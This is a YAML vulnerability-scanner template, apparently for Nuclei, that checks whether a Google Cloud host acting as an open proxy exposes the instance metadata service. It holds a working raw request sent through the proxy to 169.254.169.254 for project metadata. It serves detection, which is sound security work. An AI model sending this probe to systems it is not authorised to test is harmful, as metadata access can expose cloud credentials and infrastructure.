45 lines
1.6 KiB
YAML
45 lines
1.6 KiB
YAML
id: metadata-service-gcp
|
|
|
|
# This attack abuses a misconfigured proxy that allows access to the metadata
|
|
# IP or a name which resolves to the IP. A standard proxy request is made to
|
|
# the proxy using the full metadata URL, which the proxy will fulfill to its
|
|
# own metadata service.
|
|
#
|
|
# The proxy may also be vulnerable to host/port enumeration on localhost or
|
|
# inside the private network.
|
|
|
|
info:
|
|
name: Google GCP Metadata Service Check
|
|
author: sullo
|
|
severity: critical
|
|
description: The Google cloud (GCP) host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
|
|
reference:
|
|
- https://cloud.google.com/compute/docs/metadata/default-metadata-values
|
|
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
|
|
- https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
|
|
cvss-score: 9.3
|
|
cwe-id: CWE-441
|
|
remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
|
|
tags: exposure,config,google,gcp,proxy,misconfig,metadata
|
|
|
|
requests:
|
|
- raw:
|
|
- |+
|
|
GET http://{{hostval}}/computeMetadata/v1/project/ HTTP/1.1
|
|
Host: {{hostval}}
|
|
Metadata-Flavor: Google
|
|
|
|
payloads:
|
|
hostval:
|
|
- aws.oast.online
|
|
- 169.254.169.254
|
|
unsafe: true
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "attributes/"
|
|
# Enhanced by cs on 2022/02/14
|